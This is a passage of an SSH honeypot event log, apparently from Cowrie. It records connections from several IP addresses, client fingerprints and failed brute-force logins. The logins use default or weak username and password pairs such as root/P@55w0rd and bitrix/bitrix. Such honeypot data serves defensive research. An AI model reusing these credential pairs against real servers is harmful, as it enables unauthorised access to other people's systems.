fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:13:14.152976Z","src_ip":"176.65.139.103","session":"1a6edd4c0570","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@55w0rd","message":"login attempt [root/P@55w0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:13:14.533743Z","src_ip":"176.65.139.103","session":"1a6edd4c0570","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:13:15.640514Z","src_ip":"176.65.139.103","session":"1a6edd4c0570","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":63470,"dst_ip":"10.17.0.5","dst_port":22,"session":"3252d3c989a4","protocol":"ssh","message":"New connection: 194.59.206.2:63470 (10.17.0.5:22) [session: 3252d3c989a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:13:17.874094Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:13:17.878302Z","src_ip":"194.59.206.2","session":"3252d3c989a4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:13:17.963676Z","src_ip":"194.59.206.2","session":"3252d3c989a4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:13:18.053057Z","src_ip":"194.59.206.2","session":"3252d3c989a4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":55816,"dst_ip":"159.203.135.109","dst_port":22,"session":"0c1c97f880f8","protocol":"ssh","message":"New connection: 159.203.92.129:55816 (159.203.135.109:22) [session: 0c1c97f880f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:13:18.772591Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:13:18.777184Z","src_ip":"159.203.92.129","session":"0c1c97f880f8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:13:18.781772Z","src_ip":"159.203.92.129","session":"0c1c97f880f8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"1234qwer","message":"login attempt [ansible/1234qwer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:13:18.793024Z","src_ip":"159.203.92.129","session":"0c1c97f880f8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:13:19.800689Z","src_ip":"159.203.92.129","session":"0c1c97f880f8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":50152,"dst_ip":"10.17.0.5","dst_port":22,"session":"1020c4b89356","protocol":"ssh","message":"New connection: 176.65.139.103:50152 (10.17.0.5:22) [session: 1020c4b89356]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:13:20.413357Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:13:20.416975Z","src_ip":"176.65.139.103","session":"1020c4b89356","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:13:20.503846Z","src_ip":"176.65.139.103","session":"1020c4b89356","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"huawei","password":"Huawei12","message":"login attempt [huawei/Huawei12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:13:20.764718Z","src_ip":"176.65.139.103","session":"1020c4b89356","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:13:21.918477Z","src_ip":"176.65.139.103","session":"1020c4b89356","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":34418,"dst_ip":"10.17.0.5","dst_port":22,"session":"5e3cf9af89a1","protocol":"ssh","message":"New connection: 176.65.139.103:34418 (10.17.0.5:22) [session: 5e3cf9af89a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:13:26.994122Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:13:27.043345Z","src_ip":"176.65.139.103","session":"5e3cf9af89a1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:13:27.135346Z","src_ip":"176.65.139.103","session":"5e3cf9af89a1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bitrix","password":"bitrix","message":"login attempt [bitrix/bitrix] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:13:27.570594Z","src_ip":"176.65.139.103","session":"5e3cf9af89a1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:13:28.665702Z","src_ip":"176.65.139.103","session":"5e3cf9af89a1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":59670,"dst_ip":"10.17.0.5","dst_port":22,"session":"31e657d8e625","protocol":"ssh","message":"New connection: 176.65.139.103:59670 (10.17.0.5:22) [session: 31e657d8e625]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:13:33.605469Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:13:33.613400Z","src_ip":"176.65.139.103","session":"31e657d8e625","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:13:33.689183Z","src_ip":"176.65.139.103","session":"31e657d8e625","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"system","password":"system","message":"login attempt [system/system] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:13:34.020956Z","src_ip":"176.65.139.103","session":"31e657d8e625","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:13:35.414810Z","src_ip":"176.65.139.103","session":"31e657d8e625","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":59674,"dst_ip":"10.17.0.5","dst_port":22,"session":"e9b512c69ee1","protocol":"ssh","message":"New connection: 176.65.139.103:59674 (10.17.0.5:22) [session: e9b512c69ee1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:13:40.462701Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:13:40.475205Z","src_ip":"176.65.139.103","session":"e9b512c69ee1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:13:40.546861Z","src_ip":"176.65.139.103","session":"e9b512c69ee1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"login","password":"login","message":"login attempt [login/login] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:13:40.877355Z","src_ip":"176.65.139.103","session":"e9b512c69ee1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:13:41.990483Z","src_ip":"176.65.139.103","session":"e9b512c69ee1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.184.144.220","src_port":40064,"dst_ip":"10.17.0.5","dst_port":22,"session":"2c33389b9265","protocol":"ssh","message":"New connection: 202.184.144.220:40064 (10.17.0.5:22) [session: 2c33389b9265]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:13:44.189728Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:13:44.193614Z","src_ip":"202.184.144.220","session":"2c33389b9265","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:13:44.433825Z","src_ip":"202.184.144.220","session":"2c33389b9265","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zp123456","message":"login attempt [root/zp123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:13:45.428125Z","src_ip":"202.184.144.220","session":"2c33389b9265","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:13:46.675156Z","src_ip":"202.184.144.220","session":"2c33389b9265","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.182","src_port":60944,"dst_ip":"10.17.0.5","dst_port":22,"session":"c4487cab8b2d","protocol":"ssh","message":"New connection: 80.94.92.182:60944 (10.17.0.5:22) [session: c4487cab8b2d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:13:47.169066Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:13:47.455049Z","src_ip":"80.94.92.182","session":"c4487cab8b2d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:13:47.458670Z","src_ip":"80.94.92.182","session":"c4487cab8b2d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":45628,"dst_ip":"10.17.0.5","dst_port":22,"session":"9ae6e3032dd2","protocol":"ssh","message":"New connection: 176.65.139.103:45628 (10.17.0.5:22) [session: 9ae6e3032dd2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:13:47.654403Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:13:47.696121Z","src_ip":"176.65.139.103","session":"9ae6e3032dd2","protocol":"ssh"}
